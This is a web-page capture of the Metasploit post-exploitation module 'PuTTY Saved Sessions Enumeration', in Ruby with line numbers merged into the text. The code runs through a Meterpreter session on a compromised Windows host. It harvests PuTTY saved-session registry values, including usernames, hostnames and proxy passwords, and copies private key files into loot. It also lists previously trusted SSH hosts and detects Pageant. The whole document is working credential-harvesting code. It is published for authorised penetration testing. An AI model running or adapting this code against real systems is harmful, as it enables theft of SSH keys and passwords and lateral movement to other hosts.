Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_putty_saved_sessions.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::Common8include Msf::Post::File9include Msf::Post::Windows::Registry1011INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings', 'ProxyUsername', 'ProxyPassword']12PAGEANT_REGISTRY_KEY = 'HKCU\\Software\\SimonTatham\\PuTTY'13PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment']1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'PuTTY Saved Sessions Enumeration Module',20'Description' => %q{21This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session22information from the registry. PuTTY is very configurable; some users may have configured23saved sessions which could include a username, private key file to use when authenticating,24host name etc. If a private key is configured, an attempt will be made to download and store25it in loot. It will also record the SSH host keys which have been stored. These will be connections that26the user has previously after accepting the host SSH fingerprint and therefore are of particular27interest if they are within scope of a penetration test.28},29'License' => MSF_LICENSE,30'Platform' => ['win'],31'SessionTypes' => ['meterpreter'],32'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],33'Compat' => {34'Meterpreter' => {35'Commands' => %w[36stdapi_railgun_api37]38}39}40)41)42end4344def get_saved_session_details(sessions)45all_sessions = []46sessions.each do |ses|47newses = {}48newses['Name'] = Rex::Text.uri_decode(ses)49INTERESTING_KEYS.each do |key|50newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s51end52all_sessions << newses53report_note(host: target_host, type: 'putty.savedsession', data: newses, update: :unique_data)54end55all_sessions56end5758def display_saved_sessions_report(info)59# Results table holds raw string data60results_table = Rex::Text::Table.new(61'Header' => 'PuTTY Saved Sessions',62'Indent' => 1,63'SortIndex' => -1,64'Columns' => ['Name'].append(INTERESTING_KEYS).flatten65)6667info.each do |result|68row = []69row << result['Name']70INTERESTING_KEYS.each do |key|71row << result[key]72end73results_table << row74end7576print_line77print_line results_table.to_s78stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, 'PuTTY Saved Sessions List')79print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")80end8182def display_private_key_analysis(info)83# Results table holds raw string data84results_table = Rex::Text::Table.new(85'Header' => 'PuTTY Private Keys',86'Indent' => 1,87'SortIndex' => -1,88'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS89)9091info.each do |result|92row = []93PUTTY_PRIVATE_KEY_ANALYSIS.each do |key|94row << result[key]95end96results_table << row97end9899print_line100print_line results_table.to_s101# stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")102# print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")103end104105def get_stored_host_key_details(allkeys)106# This hash will store (as the key) host:port pairs. This is basically a quick way of107# getting a unique list of host:port pairs.108all_ssh_host_keys = {}109110# This regex will split up lines such as rsa2@22:127.0.0.1 from the registry.111rx_split_hostporttype = /^(?<type>[-a-z0-9]+?)@(?<port>[0-9]+?):(?<host>.+)$/i112113# Go through each of the stored keys found in the registry114allkeys.each do |key|115# Store the raw key and value in a hash to start off with116newkey = {117rawname: key,118rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s119}120121# Take the key and split up host, port and fingerprint type. If it matches, store the information122# in the hash for later.123split_hostporttype = rx_split_hostporttype.match(key.to_s)124if split_hostporttype125126# Extract the host, port and key type into the hash127newkey['host'] = split_hostporttype[:host]128newkey['port'] = split_hostporttype[:port]129newkey['type'] = split_hostporttype[:type]130131# Form the key132host_port = "#{newkey['host']}:#{newkey['port']}"133134# Add it to the consolidation hash. If the same IP has different key types, append to the array135all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil?136all_ssh_host_keys[host_port] << newkey['type']137end138report_note(host: target_host, type: 'putty.storedfingerprint', data: newkey, update: :unique_data)139end140all_ssh_host_keys141end142143def display_stored_host_keys_report(info)144# Results table holds raw string data145results_table = Rex::Text::Table.new(146'Header' => 'Stored SSH host key fingerprints',147'Indent' => 1,148'SortIndex' => -1,149'Columns' => ['SSH Endpoint', 'Key Type(s)']150)151152info.each do |key, result|153row = []154row << key155row << result.join(', ')156results_table << row157end158159print_line160print_line results_table.to_s161stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, 'PuTTY Stored SSH Host Keys List')162print_good("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).")163end164165def grab_private_keys(sessions)166private_key_summary = []167sessions.each do |ses|168filename = ses['PublicKeyFile'].to_s169next if filename.empty?170171# Check whether the file exists.172if file?(filename)173ppk = read_file(filename)174if ppk # Attempt to read the contents of the file175stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk)176print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}")177178# Now analyse the private key179private_key = {}180private_key['Name'] = ses['Name']181private_key['UserName'] = ses['UserName']182private_key['HostName'] = ses['HostName']183private_key['PublicKeyFile'] = ses['PublicKeyFile']184private_key['Type'] = ''185private_key['Cipher'] = ''186private_key['Comment'] = ''187188# Get type of key189if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/190# This is an SSH1 header191private_key['Type'] = 'ssh1'192private_key['Comment'] = '-'193if ppk[33] == "\x00"194private_key['Cipher'] = 'none'195elsif ppk[33] == "\x03"196private_key['Cipher'] = '3DES'197else198private_key['Cipher'] = '(Unrecognised)'199end200elsif (rx = /^PuTTY-User-Key-File-2:\sssh-(?<keytype>rsa|dss)[\r\n]/.match(ppk.to_s))201# This is an SSH2 header202private_key['Type'] = "ssh2 (#{rx[:keytype]})"203if (rx = /^Encryption:\s(?<cipher>[-a-z0-9]+?)[\r\n]/.match(ppk.to_s))204private_key['Cipher'] = rx[:cipher]205else206private_key['Cipher'] = '(Unrecognised)'207end208209if (rx = /^Comment:\s(?<comment>.+?)[\r\n]/.match(ppk.to_s))210private_key['Comment'] = rx[:comment]211end212end213private_key_summary << private_key214else215print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc216end217else218print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")219end220end221private_key_summary222end223224# Entry point225def run226# Look for saved sessions, break out if not.227print_status('Looking for saved PuTTY sessions')228saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions")229if saved_sessions.nil? || saved_sessions.empty?230print_error('No saved sessions found')231else232233# Tell the user how many sessions have been found (with correct English)234print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}")235236# Retrieve the saved session details & print them to the screen in a report237all_saved_sessions = get_saved_session_details(saved_sessions)238display_saved_sessions_report(all_saved_sessions)239240# If the private key file has been configured, retrieve it and save it to loot241print_status('Downloading private keys...')242private_key_info = grab_private_keys(all_saved_sessions)243if !private_key_info.nil? && !private_key_info.empty?244print_line245display_private_key_analysis(private_key_info)246end247end248249print_line # Just for readability250251# Now search for SSH stored keys. These could be useful because it shows hosts that the user252# has previously connected to and accepted a key from.253print_status('Looking for previously stored SSH host key fingerprints')254stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys")255if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty?256print_error('No stored SSH host keys found')257else258# Tell the user how many sessions have been found (with correct English)259print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}")260261# Retrieve the saved session details & print them to the screen in a report262print_status('Downloading stored key fingerprints...')263all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys)264if all_stored_keys.nil? || all_stored_keys.empty?265print_error('No stored key fingerprints found')266else267display_stored_host_keys_report(all_stored_keys)268end269end270271print_line # Just for readability272273print_status('Looking for Pageant...')274hwnd = client.railgun.user32.FindWindowW('Pageant', 'Pageant')275if hwnd['return']276print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})")277else278print_error('Pageant is not running')279end280end281end282283284